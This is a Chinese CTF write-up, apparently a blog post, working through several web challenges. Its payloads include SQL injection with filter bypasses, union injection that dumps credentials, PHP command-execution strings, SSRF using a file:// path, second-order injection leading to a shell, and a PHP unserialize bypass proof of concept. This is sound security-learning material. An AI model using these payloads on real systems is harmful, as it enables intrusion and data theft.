s'+(selselectect+CONV(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg 7102823 lag


s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg  36427215695199  !!_@m_
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg  92806431727430 Th.e_F
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg  560750951  !lag
拼接flag即可   cyberpeace{
    
    !![email protected]_F!lag}
  

进制转化脚本:

decimal_number = int(input("请输入一个大的十进制数: "))

hex_number = hex(decimal_number)
hex_string = hex_number[2:]  # 去除前缀 "0x"

byte_array = bytes.fromhex(hex_string)
string = byte_array.decode()

print("转换后的十六进制数为:", hex_string)
print("转换后的字符串为:", string)

解析:
CONV(string,from_base,to_base)函数是将字符串string转化进制,由from_base,和to_base决定转化,用这个函数是因为题目对字母回显做了限定,故用CONV进行规避字母回显
substr函数是因为当数字过大的时候会自动转化为科学计数法,故用这个脚本来规避科学计数法的转换
这题那个limit也需要注意

总结:文件头也可以注入,我们要多多尝试方法,sql注入的payload写法还需要加强

Thirty-ninth Web_php_include

这题很简单,直接大小写绕过就行了,然后
POST: <?php echo `ls` ?>

<?php echo `cat f*` ?>

这题解决方法很多

Fortieth simple_js(未完成)

Fourty-first url

payload: POST: url=data://baidu.com/plain;base64,bjNrMA==
这题还不知道原理,网上也没有解释

Fourty-second fakebook

这题考点是sql注入和SSRF结合
这题首先找到注入点,发现基本没有过滤,选择联合注入的方式进行注入

所有的payload:
/?view.php?no=-1 unio/**/select 1,database(),3,4#   fakebook 
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+  users 
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users'#
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
/view.php?no=-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+  no,username,passwd,data 
/view.php?no=-1%20union/**/select%201,group_concat('username','~','passwd','~','data'),3,4 from users#
/view.php?no=0%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from fakebook.users --+
/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"harder";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

最后查看源码,点开这个链接即可读取flag
在这里插入图片描述非预期解:

/view.php?no=0 union/**/select 1,load_file(‘/var/www/html/flag.php’),3,4

一,受到参数 secure_file_priv 的影响
查了查资料,因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。
有非预期解法load_file()

Fourty-second filemanager

这题先用dirsearch扫描目录,扫出了一个www.tar.gz下载下来,里面有源码,进行代码审计
在这里插入图片描述
发现这两句有可以用的地方,因为观察源码,$result由filename extension组成,而我们接下来要做的事情是把后缀改为空,首先我们上传一个文件

',extension='.png 上传一个文件名为这个的文件之后sql语句就变成了
update `file` set `filename`='{$req['newname']}', `oldname`='',extension='' where `fid`={
    
    $result['fid']}
即这个文件的后缀为空了

这里有个关键的地方是,因为我们利用update把extension后缀为空了,但是我们上传在upload里面的文件并没有被改变名字,所以我们还需再次传送一个新的同改后名字的文件,来改文件名字实现GETSHELL,最后拿到flag
如果这里想要FIX,就需要检查一下后缀是否为空了

考点: 二次注入进行getshell

Fourty-third Cat(未完成)

Fourty-forth Web_php_unserialize

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var);  //fl4g.php  base64_encode
    } 
} else {
    
     
    highlight_file("index.php"); 
} 
?>

这题有两个地方需要绕过一个是__wakeup__魔术方法 绕过方法属性+1
第二个是绕过正则表达式if (preg_match(‘/[oc]:\d+:/i’, $var)) 把O:变成O:+
在这里插入图片描述

POC脚本:

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$A = new Demo ('fl4g.php');					//创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); 		//wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密
?>

Fourty-fifth easytornado

这题看hint的提示为,故我们要想办法求出cookie的值,因为

/hints.txt
md5(cookie_secret+md5(filename))

error?msg=Error
经过测试,这里存在ssti注入,然后我们现在就需要查询资料cookie的值存在在哪里

在这里插入图片描述
这样就能拿到cookie了,然后直接上我的python脚本

import hashlib
target_string = 'fda3f7ef94cc859873401966e09c9a4e'
def md5_last5(string):
    # 计算字符串的md5散列值
    md5_hash = hashlib.md5(string.encode()).hexdigest()
    return md5_hash
# 20901fa4-e88f-4ada-ba49-489ad9c33db9
print(md5_last5("/fllllllllllllag"))
str = "20901fa4-e88f-4ada-ba49-489ad9c33db9"+md5_last5("/fllllllllllllag")
print(str)
answer = md5_last5(str)
print(answer)

Forty-sixth shrine(未完成)

猜你喜欢

转载自blog.csdn.net/m0_73728268/article/details/131751422